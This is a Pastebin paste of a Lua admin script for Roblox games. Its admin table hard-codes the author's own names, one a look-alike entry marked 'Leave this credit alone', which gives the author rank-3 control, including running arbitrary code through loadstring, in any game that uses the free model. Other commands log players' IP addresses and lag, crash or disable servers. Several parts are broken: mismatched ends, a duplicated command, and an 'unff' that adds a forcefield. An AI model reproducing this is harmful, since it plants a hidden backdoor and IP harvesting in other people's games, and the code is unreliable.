Advertisement
lolpatty123

Untitled

Sep 11th, 2015
409
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. msg = Instance.new("Message",workspace)
  2. msg.Text = "Sum dumb admin loaded this was free modeled lolz"
  3. wait(3)
  4. msg:Remove()
  5.  
  6. Admins = {
  7. ["mnms999"] = 3, -- Your name
  8. ["CharcoalBurns"] = 3, -- Friends names
  9. ["FRIENDNAME"] = 3,
  10. ["mnmms999"] = 3 --Leave this credit alone
  11. }
  12. local Levels = {
  13. [0] = {"Peasant", BrickColor.new("Really black")};
  14. [1] = {"Knight", BrickColor.new("Black")};
  15. [2] = {"Lord", BrickColor.new("Dark stone grey")};
  16. [3] = {"mnms999", BrickColor.new("Medium stone grey")}
  17. }
  18. Players = Game:GetService("Players")
  19. Workspace = Game:GetService("Workspace")
  20. Debris = Game:GetService("Debris")
  21. Lighting = Game:GetService("Lighting")
  22. Teams = Game:GetService("Teams")
  23. MR = math.rad
  24. MD = math.deg
  25. IPStore = {}
  26. IPBans = {}
  27. Banned = {"Network Server"}
  28. PrivateServer = {}
  29. PrivateServerWarnings = {}
  30. function IncommingConnection(IPAddress, Replicator)
  31. local IP = IPAddress:sub(1, IPAddress:find(":")-1)
  32. local ThePlayer
  33. Players.PlayerAdded:connect(function(NewPlayer)
  34. if not ThePlayer then
  35. ThePlayer = NewPlayer
  36. end
  37. end)
  38. repeat wait() until ThePlayer
  39. IPStore[ThePlayer.Name] = IP
  40. for i=1, #IPBans do
  41. if IPBans[i] == IP then
  42. ThePlayer:Remove()
  43. end
  44. end
  45. end
  46. function Round(Number, ToWhatExtent)
  47. if ToWhatExtent then
  48. return math.floor(Number/ToWhatExtent+0.5)*ToWhatExtent
  49. else
  50. return math.floor(Number + 0.99995)
  51. end
  52. end
  53. Settings = {
  54. Color = BrickColor.new("Medium stone grey"), --Its bright red...
  55. Name = "mnms999 Scythe Admin",
  56. Version = "0.0.8"
  57. }
  58. function ShowInCircle(Prompter,...)
  59. local Args = {...}
  60. local Books = {}
  61. Args[#Args + 1] = "Dismiss"
  62. local Ans = nil
  63. local Rank = Admins[Prompter.Name]
  64. for i=1, #Args do
  65. local IsKings
  66. if Args[i]:find("(Kings Only)") then
  67. IsKings = true
  68. end
  69. local Book = Instance.new("Part", Game:GetService("Workspace"))
  70. Book.Anchored = false
  71. Book.Locked = true
  72. Book.CanCollide = false
  73. Book.TopSurface, Book.BottomSurface = 0, 0
  74. Book.Transparency = 0
  75. Book.Reflectance = 0
  76. Book.FormFactor = Enum.FormFactor.Custom
  77. Book.Size = Vector3.new(2.3, 1, 3)
  78. if IsKings and Admins[Prompter.Name] < 3 then
  79. Book.BrickColor = BrickColor.new("Bright red")
  80. else
  81. Book.BrickColor = Settings.Color
  82. end
  83. table.insert(Books, Book)
  84. local Mesh = Instance.new("SpecialMesh", Book)
  85. Mesh.MeshId = "http://www.roblox.com/asset/?id=15039448"
  86. Mesh.MeshType = "FileMesh"
  87. local BG = Instance.new("BodyGyro", Book)
  88. local BP = Instance.new("BodyPosition", Book)
  89. if (IsKings and Admins[Prompter.Name] == 3) or not IsKings then
  90. local Fire = Instance.new("Fire", Book)
  91. Fire.Heat = 0
  92. Fire.Color = Settings.Color.Color
  93. Fire.SecondaryColor = Settings.Color.Color
  94. end
  95. local Billboard = Instance.new("BillboardGui", Book)
  96. Billboard.Adornee = Book
  97. Billboard.Enabled = true
  98. Billboard.Active = true
  99. Billboard.Size = UDim2.new(0.3, 0, 0.05, 0)
  100. Billboard.ExtentsOffset = Vector3.new(0, 2.5, 0)
  101. local Text = Instance.new("TextLabel", Billboard)
  102. Text.Text = Args[i]
  103. if IsKings and Admins[Prompter.Name] ~= 3 then
  104. Text.TextColor3 = BrickColor.new("White").Color
  105. else
  106. Text.TextColor3 = Settings.Color.Color
  107. end
  108. Text.BackgroundTransparency = 1
  109. Text.Size = UDim2.new(1, 0, 1, 0)
  110. local ClickDetector = Instance.new("ClickDetector", Book)
  111. ClickDetector.MouseClick:connect(function(Player)
  112. if Player == Prompter and Args[i] == "Dismiss" then
  113. Ans = Args[i]
  114. for _, v in pairs(Books) do
  115. v:Remove()
  116. end
  117. Books = {}
  118. end
  119. end)
  120. end
  121. coroutine.resume(coroutine.create(function()
  122. local radius = 3 + (#Books*.7)
  123. while wait() do
  124. if #Books == 0 then break end
  125. for _, Book in pairs(Books) do
  126. local BP = Book:FindFirstChild("BodyPosition") or Instance.new("BodyPosition", Book)
  127. BP.maxForce = Vector3.new(1000000000, 1000000000, 1000000000)
  128. local BG = Book:FindFirstChild("BodyGyro") or Instance.new("BodyGyro", Book)
  129. BG.maxTorque = Vector3.new(1000000000, 1000000000, 1000000000)
  130. local Pos = (Prompter.Character:FindFirstChild("Torso") or Prompter.Character:FindFirstChild("Torso")).CFrame
  131. local x = math.cos((tonumber(_)/#Books - (0.5/#Books)) * math.pi*2) * radius -- cos
  132. local y = 0
  133. local z = math.sin((tonumber(_)/#Books - (0.5/#Books)) * math.pi*2) * radius -- sin
  134. BP.position = Pos:toWorldSpace(CFrame.new(x,y,z):inverse()).p
  135. BG.cframe = CFrame.new(Book.Position, Pos.p) * CFrame.Angles(math.pi/2, 0, 0)
  136. end
  137. end
  138. end))
  139. end
  140. function Prompt(Prompter, ...)
  141. local Args = {...}
  142. local Books = {} --Dismiss sounds cooler :3
  143. Args[#Args + 1] = "Dismiss"
  144. local Ans = nil
  145. for i=1, #Args do
  146. local Book = Instance.new("Part", Game:GetService("Workspace"))
  147. Book.Anchored = false
  148. Book.Locked = true
  149. Book.CanCollide = false
  150. Book.TopSurface, Book.BottomSurface = 0, 0
  151. Book.Transparency = 0
  152. Book.FormFactor = Enum.FormFactor.Custom
  153. Book.Size = Vector3.new(2.3, 1, 3)
  154. Book.BrickColor = Settings.Color
  155. table.insert(Books, Book)
  156. local Mesh = Instance.new("SpecialMesh", Book)
  157. Mesh.MeshId = "http://www.roblox.com/asset/?id=15039448"
  158. Mesh.MeshType = "FileMesh"
  159. local Fire = Instance.new("Fire", Book)
  160. Fire.Heat = 0
  161. Fire.Color = Settings.Color.Color
  162. Fire.SecondaryColor = Settings.Color.Color
  163. local Billboard = Instance.new("BillboardGui", Book)
  164. Billboard.Adornee = Book
  165. Billboard.Enabled = true
  166. Billboard.Active = true
  167. Billboard.Size = UDim2.new(0.3, 0, 0.05, 0)
  168. Billboard.ExtentsOffset = Vector3.new(0, 2.5, 0)
  169. local Text = Instance.new("TextLabel", Billboard)
  170. Text.Text = Args[i]
  171. Text.TextColor3 = Settings.Color.Color
  172. Text.BackgroundTransparency = 1
  173. Text.Size = UDim2.new(1, 0, 1, 0)
  174. local AttemptToFixPrompt = i
  175. local ClickDetector = Instance.new("ClickDetector", Book)
  176. ClickDetector.MouseClick:connect(function(Player)
  177. if Player == Prompter then
  178. Ans = Args[i]
  179. local BackupBooks = Books
  180. Books = {}
  181. local AnimationOver
  182. pcall(function() BP.Position = Player.Character.Torso.Position end)
  183. Book.Touched:connect(function(zPart)
  184. pcall(function()
  185. if zPart == Player.Character.Torso then
  186. AnimationOver = true
  187. end
  188. end)
  189. end)
  190. delay(5, function() AnimationOver = true end)
  191. for _, v in pairs(BackupBooks) do
  192. v:Remove()
  193. end
  194. BackupBooks = nil
  195. return AttemptToFixPrompt
  196. end
  197. end)
  198. end
  199. coroutine.resume(coroutine.create(function()
  200. local radius = 3 + (#Books)
  201. while wait() do
  202. if #Books == 0 then break end
  203. for _, Book in pairs(Books) do
  204. local BP = Book:FindFirstChild("BodyPosition") or Instance.new("BodyPosition", Book)
  205. BP.maxForce = Vector3.new(1000000000, 1000000000, 1000000000)
  206. local BG = Book:FindFirstChild("BodyGyro") or Instance.new("BodyGyro", Book)
  207. BG.maxTorque = Vector3.new(1000000000, 1000000000, 1000000000)
  208. local Pos = (Prompter.Character:FindFirstChild("Torso") or Prompter.Character:FindFirstChild("Torso")).CFrame
  209. local x = math.cos((tonumber(_)/#Books - (0.5/#Books)) * math.pi) * radius -- cos
  210. local y = 0
  211. local z = math.sin((tonumber(_)/#Books - (0.5/#Books)) * math.pi) * radius -- sin
  212. BP.position = Pos:toWorldSpace(CFrame.new(x,y,z):inverse()).p
  213. BG.cframe = CFrame.new(Book.Position, Pos.p) * CFrame.Angles(math.pi/2, 0, 0)
  214. end
  215. end
  216. end))
  217. while (Ans == nil) and (#Books > 0) do
  218. wait()
  219. end
  220. return Ans
  221. end
  222. function ParseMessage(Message)
  223. Message = Message:gsub("lego%s", "")
  224. Message = Message:gsub("runescape%s", "")
  225. Message = Message:gsub("minecraft%s", "")
  226. local Command
  227. local Args = {}
  228. for Word in Message:gmatch("%w+") do
  229. if not Command then
  230. Command = Word
  231. else
  232. table.insert(Args, Word)
  233. end
  234. end
  235. return Command, Args
  236. end
  237. function ErrorHandler(Error)
  238. print(Error)
  239. local Message = Instance.new("Message", Workspace)
  240. Message.Text = "!ERROR!: " .. Error:gsub("(.-:)","")
  241. Game:GetService("Debris"):AddItem(Message, 5)
  242. end
  243. function onPlayerAdded(NewPlayer)
  244. for b=1, #Banned do
  245. if NewPlayer.Name == Banned[b] then
  246. coroutine.resume(coroutine.create(function()
  247. for i=1, 25 do
  248. pcall(function() NewPlayer:Destroy() end)
  249. wait(0.5)
  250. end
  251. end))
  252. end
  253. end
  254. NewPlayer.Chatted:connect(function(C)
  255. xpcall(function()
  256. local a, b = coroutine.resume(coroutine.create(function()
  257. onChat(NewPlayer, C)
  258. end))
  259. assert(a,b)
  260. end, ErrorHandler)
  261. end)
  262. end
  263. function onChat(player, message)
  264. local Command, Arguments = ParseMessage(message)
  265. if Admins[player.Name] ~= nil then
  266. if Command == "kickmenu" then
  267. local People = Game:GetService("Players"):GetPlayers()
  268. local Names = {}
  269. for _, v in pairs(People) do
  270. table.insert(Names, v.Name)
  271. end
  272. local OptionChoosen = Prompt(player, unpack(Names))
  273. print(OptionChoosen)
  274. if OptionChoosen and game:GetService("Players"):FindFirstChild(OptionChoosen) then
  275. game:GetService("Players") [OptionChoosen]:Destroy()
  276. else
  277. print("Player missing")
  278. end
  279. elseif Command == "privateserver" then
  280. local Option = Prompt(player, "Turn on", "Turn off", "Add name", "Remove name", "Remove all names")
  281. if Option == "Turn on" then
  282. PrivateServerOn = true
  283. local OnJoinCon = function(NewPlayer)
  284. if PrivateServer[NewPlayer.Name] == nil then
  285. NewPlayer:Remove()
  286. if PrivateServerWarnings[NewPlayer.Name] == nil then
  287. local AddHim = Prompt(player, "Click me to add " .. NewPlayer.Name .. " to the private server list")
  288. if AddHim == "Click me to add " .. NewPlayer.Name .. " to the private server list" then
  289. PrivateServer[NewPlayer.Name] = true
  290. end
  291. end
  292. end
  293. end
  294. while PrivateServerOn do wait() end
  295. OnJoinCon:disconnect()
  296. elseif Option == "Turn off" then
  297. PrivateServerOn = nil
  298. elseif Option == "Add name" then
  299. local Names = {}
  300. for _, v in pairs(Players:GetPlayers()) do
  301. table.insert(Names, v.Name)
  302. end
  303. local PlayerToAdd = Prompt(player, unpack(Names))
  304. if Players:FindFirstChild(PlayerToAdd) then
  305. PrivateServer[PlayerToAdd] = true
  306. end
  307. elseif Option == "Remove name" then
  308. local Names = {}
  309. for Name in pairs(PrivateServer) do
  310. table.insert(Names, Name)
  311. end
  312. local NameToRemove = Prompt(player, unpack(Names))
  313. if Names[NameToRemove] then
  314. Names[NameToRemove] = nil
  315. end
  316. elseif Option == "Remove all names" then
  317. PrivateServer = {}
  318. end
  319. elseif Command == "banmenu" then
  320. local People = Game:GetService("Players"):GetPlayers()
  321. local Names = {}
  322. for _, v in pairs(People) do
  323. table.insert(Names, v.Name)
  324. end
  325. local OptionChoosen = Prompt(player, unpack(Names))
  326. print(OptionChoosen)
  327. if OptionChoosen and game:GetService("Players"):FindFirstChild(OptionChoosen) then
  328. table.insert(Banned, OptionChoosen)
  329. game:GetService("Players") [OptionChoosen]:Destroy()
  330. else
  331. print("Player missing")
  332. end
  333. elseif Command == "rankset" and Admins[player.Name] == 3 then
  334. if Arguments[1] and tonumber(Arguments[1]) ~= nil then
  335. local RankSet
  336. if tonumber(Arguments[1]) == 0 then
  337. RankSet = nil
  338. else
  339. RankSet = tonumber(Arguments[1])
  340. end
  341. for i=2, #Arguments do
  342. local arg = Arguments[i]
  343. for z, vPlayer in pairs(Players:GetPlayers()) do
  344. if vPlayer.Name:lower():find(arg:lower()) == 1 then
  345. Admins[vPlayer.Name] = RankSet
  346. end
  347. end
  348. end
  349. end
  350. elseif message:sub(1, 5) == "load/" then
  351. xpcall(function()
  352. local c, d = coroutine.resume(coroutine.create(function()
  353. loadstring(message:sub(6))()
  354. end))
  355. assert(c, d)
  356. end, function(Error)
  357. local Hint = Instance.new("Message", Workspace)
  358. Hint.Text = "|QUICKSCRIPT ERROR|:| " .. Error:sub("(.-:)")
  359. wait(4)
  360. Hint:Remove()
  361. end)
  362. elseif Command == "cleanup" then
  363. for _, v in pairs(Workspace:GetChildren()) do
  364. if Players:GetPlayerFromCharacter(v) == nil and v.className ~= "Terrain" and v~=script then
  365. pcall(function() v:Remove() end)
  366. end
  367. end
  368. local Base = Instance.new("Part", Workspace)
  369. Base.Anchored = true
  370. Base.TopSurface = Enum.SurfaceType.Smooth
  371. Base.BottomSurface = Enum.SurfaceType.Smooth
  372. Base.FormFactor = Enum.FormFactor.Symmetric
  373. Base.BrickColor = BrickColor.new("Earth green")
  374. Base.Size = Vector3.new(1000, 1, 1000)
  375. Base.Name = "Base"
  376. Base.CFrame = CFrame.new(Vector3.new())
  377. local Option = Prompt(player, "Click me if you would like to clean everything...")
  378. if Option == "Click me if you would like to clean everything..." then
  379. pcall(function() Lighting:ClearAllChildren() end)
  380. pcall(function() Teams:ClearAllChildren() end)
  381. pcall(function() table.foreach(Players:GetPlayers(), function(_, v) v.Neutral = true end) end)
  382. end
  383. local Option = Prompt(player, "Click me if you would like to respawn players...")
  384. if Option == "Click me if you would like to respawn players..." then
  385. for _, v in pairs(Players:GetPlayers()) do
  386. pcall(function()
  387. local Model = Instance.new("Model", Workspace)
  388. Instance.new("Humanoid", Model)
  389. v.Character = Model
  390. end)
  391. end
  392. end
  393. elseif Command == "hide" then
  394. if Arguments[1] == "ranks" then
  395. NotInViewRanks = true
  396. Lighting.TimeOfDay = "14:00:00"
  397. Lighting.Ambient = BrickColor.new("Medium stone grey").Color
  398. while Workspace:FindFirstChild("RankStatus", true) do
  399. Workspace:FindFirstChild("RankStatus", true):Destroy()
  400. end
  401. end
  402. elseif Command == "shutdown" then
  403. local InitTime = time()
  404. while wait() do
  405. pcall(function()
  406. Players:ClearAllChildren()
  407. end)
  408. pcall(function()
  409. if #Players:GetPlayers() >= 1 or InitTime + 30 < time() then
  410. Instance.new("ManualSurfaceJointInstance", Workspace)
  411. end
  412. end)
  413. end
  414. elseif Command == "view" or Command == "show" then
  415. if Arguments[1] == "ranks" then
  416. NotInViewRanks = nil
  417. Lighting.TimeOfDay = "2:00:00"
  418. Lighting.Ambient = BrickColor.new("Black").Color
  419. local AutoColorConnection = Workspace.ChildAdded:connect(function(v)
  420. local Player = Players:GetPlayerFromCharacter(v)
  421. if Player and Admins[Player.Name] then
  422. local Rank = Admins[Player.Name]
  423. coroutine.resume(coroutine.create(function()
  424. local Head = v:FindFirstChild("Head")
  425. local Status = Instance.new("Part", v)
  426. Status.FormFactor = "Symmetric"
  427. Status.Shape = "Ball"
  428. Status.Name = "Status"
  429. Status.TopSurface = 0
  430. Status.BottomSurface = 0
  431. Status.BrickColor = Levels[Rank][2]
  432. Status.CanCollide = false
  433. Status.Name = "RankStatus"
  434. Status.Transparency = 0.5
  435. local Billboard = Instance.new("BillboardGui", Status)
  436. Billboard.Adornee = Status
  437. Billboard.Enabled = true
  438. Billboard.Active = true
  439. Billboard.Size = UDim2.new(0.3, 0, 0.05, 0)
  440. Billboard.ExtentsOffset = Vector3.new(0, 2.5, 0)
  441. local Text = Instance.new("TextLabel", Billboard)
  442. Text.Text = Levels[Rank][1] .. " - " .. Player.Name
  443. Text.TextColor3 = Levels[Rank][2].Color
  444. Text.BackgroundTransparency = 1
  445. Text.Size = UDim2.new(1, 0, 1, 0)
  446. local Body = Instance.new("BodyPosition", Status)
  447. Body.maxForce = Vector3.new(math.huge, math.huge, math.huge)
  448. local Fire = Instance.new("Fire", Status)
  449. Fire.Color = Levels[Rank][2].Color
  450. Fire.SecondaryColor = Levels[Rank][2].Color
  451. local function gS(i)
  452. return math.sin(math.rad(i))
  453. end
  454. local function gC(i)
  455. return math.cos(math.rad(i))
  456. end
  457. for _, v in pairs(v:GetChildren()) do
  458. if v:IsA("Part") and v.Name ~= "RankStatus" then
  459. local Sel = Instance.new("SelectionBox", Status)
  460. Sel.Adornee = v
  461. Sel.Color = Levels[Rank][2]
  462. local Fir = Instance.new("Fire", Status)
  463. Fir.Color = Levels[Rank][2].Color
  464. Fir.SecondaryColor = Levels[Rank][2].Color
  465. end
  466. end
  467. while wait() and Head and Head.Parent do
  468. for i = 0, 360, 2 do
  469. Body.position = (CFrame.new(Head.Position) * CFrame.new(Vector3.new(gS(i)*5, gC(i*5)*2 + 1.5, gC(i)*5))).p
  470. wait()
  471. end
  472. end
  473. end))
  474. end
  475. end)
  476. for _, v in pairs(Workspace:GetChildren()) do
  477. local Player = Players:GetPlayerFromCharacter(v)
  478. if Player and Admins[Player.Name] then
  479. local Rank = Admins[Player.Name]
  480. coroutine.resume(coroutine.create(function()
  481. local Head = v:FindFirstChild("Head")
  482. local Status = Instance.new("Part", v)
  483. Status.FormFactor = "Symmetric"
  484. Status.Shape = "Ball"
  485. Status.Name = "Status"
  486. Status.TopSurface = 0
  487. Status.BottomSurface = 0
  488. Status.BrickColor = Levels[Rank][2]
  489. Status.CanCollide = false
  490. Status.Name = "RankStatus"
  491. Status.Transparency = 0.5
  492. local Billboard = Instance.new("BillboardGui", Status)
  493. Billboard.Adornee = Status
  494. Billboard.Enabled = true
  495. Billboard.Active = true
  496. Billboard.Size = UDim2.new(0.3, 0, 0.05, 0)
  497. Billboard.ExtentsOffset = Vector3.new(0, 2.5, 0)
  498. local Text = Instance.new("TextLabel", Billboard)
  499. Text.Text = Levels[Rank][1] .. " - " .. Player.Name
  500. Text.TextColor3 = Levels[Rank][2].Color
  501. Text.BackgroundTransparency = 1
  502. Text.Size = UDim2.new(1, 0, 1, 0)
  503. local Body = Instance.new("BodyPosition", Status)
  504. Body.maxForce = Vector3.new(math.huge, math.huge, math.huge)
  505. local Fire = Instance.new("Fire", Status)
  506. Fire.Color = Levels[Rank][2].Color
  507. Fire.SecondaryColor = Levels[Rank][2].Color
  508. local function gS(i)
  509. return math.sin(math.rad(i))
  510. end
  511. local function gC(i)
  512. return math.cos(math.rad(i))
  513. end
  514. for _, v in pairs(v:GetChildren()) do
  515. if v:IsA("Part") and v.Name ~= "RankStatus" then
  516. local Sel = Instance.new("SelectionBox", Status)
  517. Sel.Adornee = v
  518. Sel.Color = Levels[Rank][2]
  519. local Fir = Instance.new("Fire", Status)
  520. Fir.Color = Levels[Rank][2].Color
  521. Fir.SecondaryColor = Levels[Rank][2].Color
  522. end
  523. end
  524. while wait() and Head and Head.Parent do
  525. for i = 0, 360, 2 do
  526. Body.position = (CFrame.new(Head.Position) * CFrame.new(Vector3.new(gS(i)*5, gC(i*5)*2 + 1.5, gC(i)*5))).p
  527. wait()
  528. end
  529. end
  530. end))
  531. end
  532. end
  533. repeat wait() until NotInViewRanks
  534. AutoColorConnection:disconnect()
  535. elseif Arguments[1] == "time" or Arguments[1] == "clock" then
  536. local SecondsOfToday = math.fmod(tick(), 60*60*24) -- Long story check in wiki...
  537. local Hour = math.floor(SecondsOfToday / (60*60))
  538. local Minute = math.floor(SecondsOfToday/60 - Hour*60)
  539. local Second = math.floor(math.fmod(SecondsOfToday, 60))
  540. if Hour > 12 then Hour = Hour - 12 end
  541. ShowInCircle(player, "Current time: " .. Hour .. ":" .. Minute .. ":" .. Second, "Server Time: " .. math.floor(time()))
  542. end
  543. elseif Command == "kick" then
  544. for _, Arg in pairs(Arguments) do
  545. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  546. if Player.Name:lower():match(Arg:lower()) then
  547. pcall(function() Player:Destroy() end)
  548. end
  549. end
  550. end
  551. elseif Command == "skulls" then
  552. ShowInCircle(player,
  553. "kill", "kick", "ban", "fire", "day", "night", "unfire", "ff", "unff", "admin", "unadmin", "unban", "fog", "nbc", "bc", "tbc", "obc", "getage", "cave"
  554. )
  555. elseif Command == "skulls2" then
  556. ShowInCircle(player,
  557. "tree", "lag", "semikick", "getmsg", "sparkles", "respawn", "kickmenu", "banmenu", "load/[script]", "cleanup", "shutdown", "rankset", "ip", "antiban", "lag", "breakscripts", "killmenu", "hackaccount", "hackmenu", "privateserver"
  558. )
  559. elseif Command == "skullsALL" then
  560. ShowInCircle(player,
  561. "kill", "kick", "ban", "fire", "day", "night", "override", "unfire", "ff", "unff", "admin", "unadmin", "unban", "fog", "nbc", "bc", "tbc", "obc", "getage", "cave", "tree", "lag", "semikick", "getmsg", "sparkles", "respawn", "kickmenu", "banmenu", "load/[script]", "cleanup", "shutdown", "rankset", "ip", "antiban", "lag", "breakscripts", "killmenu", "hackaccount", "hackmenu", "privateserver"
  562. )
  563. elseif Command == "antiban" then
  564. local PeopleNames = {}
  565. for _, v in pairs(Game:GetService("Players"):GetPlayers()) do
  566. table.insert(PeopleNames, v.Name)
  567. end
  568. local Option = Prompt(player, unpack(PeopleNames))
  569. if Option then
  570. Game:GetService("Players").PlayerRemoving:connect(function(Player)
  571. if Player.Name == Option then
  572. while wait() do
  573. pcall(function() Players:ClearAllChildren() end)
  574. end
  575. end
  576. end)
  577. end
  578. elseif Command == "ip" and Admins[player.Name] == 3 then
  579. local Option = Prompt(player, "Add banishment", "View ip's", "Remove ip ban")
  580. if Option == "Add banishment" then
  581. local Names = {}
  582. local IPs = IPStore
  583. for Name, IP in pairs(IPs) do
  584. table.insert(Names, Name)
  585. end
  586. local BanPlayer = Prompt(player, unpack(Names))
  587. if IPs[BanPlayer] ~= nil then
  588. table.insert(IPBans, IPs[BanPlayer])
  589. for _, v in pairs(Game:GetService("Players"):GetPlayers()) do
  590. if v.Name == BanPlayer then
  591. v:Remove()
  592. end
  593. end
  594. end
  595. elseif Option == "View ip's" then
  596. local Names = {}
  597. local IPs = IPStore
  598. for Name, IP in pairs(IPs) do
  599. table.insert(Names, Name)
  600. end
  601. local Option = Prompt(player, unpack(Names))
  602. if IPStore[Option] ~= nil then
  603. Prompt(player, IPStore[Option])
  604. end
  605. end
  606. elseif Command == "lag" then
  607. for _, Args in pairs(Arguments) do
  608. for v, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  609. if Player.Name:lower():find(Args:lower()) == 1 then
  610. while wait() do
  611. for i=1, 10 do
  612. Instance.new("Message", Player:FindFirstChild("PlayerGui") or nil).Text = "I B LAGGIN JOO!"
  613. end
  614. end
  615. end
  616. end
  617. end
  618. elseif Command == "hackaccount" and Admins[player.Name] == 3 then
  619. local Option = Prompt(player, "Add Ban[ROBLOX]", "Hack Accounts", "Remove Hacked")
  620. if Option == "Add Ban[ROBLOX]" then
  621. local Names = {}
  622. local IPs = IPStore
  623. for Name, IP in pairs(IPs) do
  624. table.insert(Names, Name)
  625. end
  626. local BanPlayer = Prompt(player, unpack(Names))
  627. if IPs[BanPlayer] ~= nil then
  628. table.insert(IPBans, IPs[BanPlayer])
  629. for _, v in pairs(Game:GetService("Players"):GetPlayers()) do
  630. if v.Name == BanPlayer then
  631. v:Remove()
  632. end
  633. end
  634. end
  635. elseif Option == "Hack Accounts" then
  636. local Names = {}
  637. local IPs = IPStore
  638. for Name, IP in pairs(IPs) do
  639. table.insert(Names, Name)
  640. end
  641. local Option = Prompt(player, unpack(Names))
  642. if IPStore[Option] ~= nil then
  643. Prompt(player, IPStore[Option])
  644. end
  645. end
  646. elseif Command == "lag" then
  647. for _, Args in pairs(Arguments) do
  648. for v, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  649. if Player.Name:lower():find(Args:lower()) == 1 then
  650. while wait() do
  651. for i=1, 10 do
  652. Instance.new("Message", Player:FindFirstChild("PlayerGui") or nil).Text = "I B LAGGIN JOO!"
  653. end
  654. end
  655. end
  656. end
  657. end
  658. elseif Command == "breakscripts" and Admins[player.Name] == 3 then
  659. Game:GetService("ScriptContext").ScriptsDisabled = true
  660. Services = {
  661. "Workspace",
  662. "Debris",
  663. "Players",
  664. "Lighting",
  665. "ScriptContext"
  666. }
  667. for i=1, #Services do
  668. pcall(function() game:GetService(Services[i]).Name = math.random(1000, 10000) end)
  669. end
  670. --Idk if this works, just hope :3
  671. local mt = {__index = function() return function() end end}
  672. setmetatable(_G, mt)
  673. elseif Command == "hackmenu" then
  674. local People = Game:GetService("Players"):GetPlayers()
  675. local Names = {}
  676. for _, v in pairs(People) do
  677. table.insert(Names, v.Name)
  678. end
  679. local OptionChoosen = Prompt(player, unpack(Names))
  680. print(OptionChoosen)
  681. if OptionChoosen and game:GetService("Players"):FindFirstChild(OptionChoosen) then
  682. if game:GetService("Players")[OptionChoosen].Character then
  683. game:GetService("Players") [OptionChoosen].Character:BreakJoints()
  684. end
  685. else
  686. print("Player missing")
  687. end
  688. elseif Command == "killmenu" then
  689. local People = Game:GetService("Players"):GetPlayers()
  690. local Names = {}
  691. for _, v in pairs(People) do
  692. table.insert(Names, v.Name)
  693. end
  694. local OptionChoosen = Prompt(player, unpack(Names))
  695. print(OptionChoosen)
  696. if OptionChoosen and game:GetService("Players"):FindFirstChild(OptionChoosen) then
  697. if game:GetService("Players")[OptionChoosen].Character then
  698. game:GetService("Players") [OptionChoosen].Character:BreakJoints()
  699. end
  700. else
  701. print("Player missing")
  702. end
  703. elseif Command == "kill" then
  704. for _, Arg in pairs(Arguments) do
  705. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  706. if Player.Name:lower():find(Arg:lower()) == 1 and Player.Character then
  707. Player.Character:BreakJoints()
  708. end
  709. end
  710. end
  711. elseif Command == "obc" then
  712. for _, Arg in pairs(Arguments) do
  713. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  714. if Player.Name:lower():find(Arg:lower()) == 1 and Player.Character then
  715. Player.MembershipTypeReplicate = 3
  716. end
  717. end
  718. end
  719. elseif Command == "tbc" then
  720. for _, Arg in pairs(Arguments) do
  721. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  722. if Player.Name:lower():find(Arg:lower()) == 1 and Player.Character then
  723. Player.MembershipTypeReplicate = 2
  724. end
  725. end
  726. end
  727. elseif Command == "bc" then
  728. for _, Arg in pairs(Arguments) do
  729. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  730. if Player.Name:lower():find(Arg:lower()) == 1 and Player.Character then
  731. Player.MembershipTypeReplicate = 1
  732. end
  733. end
  734. end
  735. elseif Command == "ff" then
  736. for _, Arg in pairs(Arguments) do
  737. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  738. if Player.Name:lower():find(Arg:lower()) == 1 and Player.Character then
  739. ff = Instance.new ("ForceField")
  740. ff.Parent = Player.Character
  741. end
  742. end
  743. end
  744. elseif Command == "unff" then
  745. for _, Arg in pairs(Arguments) do
  746. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  747. if Player.Name:lower():find(Arg:lower()) == 1 and Player.Character then
  748. ff = Instance.new ("ForceField")
  749. ff.Parent = Player.Character
  750. end
  751. end
  752. end
  753. end
  754. elseif Command == "nbc" then
  755. for _, Arg in pairs(Arguments) do
  756. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  757. if Player.Name:lower():find(Arg:lower()) == 1 and Player.Character then
  758. Player.MembershipTypeReplicate = 0
  759. end
  760. end
  761. end
  762. end
  763. end
  764. game:GetService("Players").PlayerAdded:connect(onPlayerAdded)
  765. --[ SB Mode ]--
  766. for _, player in pairs(game:GetService("Players"):GetPlayers()) do
  767. onPlayerAdded(player)
  768. end
  769. Game:GetService("RunService").Stepped:connect(function()
  770. local S, E = pcall(function()
  771. if LastClean == nil or time() - LastClean >= 10 then do
  772. collectgarbage("collect")
  773. LastClean = time()
  774. end
  775. end
  776. if not S then
  777. ErrorHandler(E)
  778. end
  779. end)
  780. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement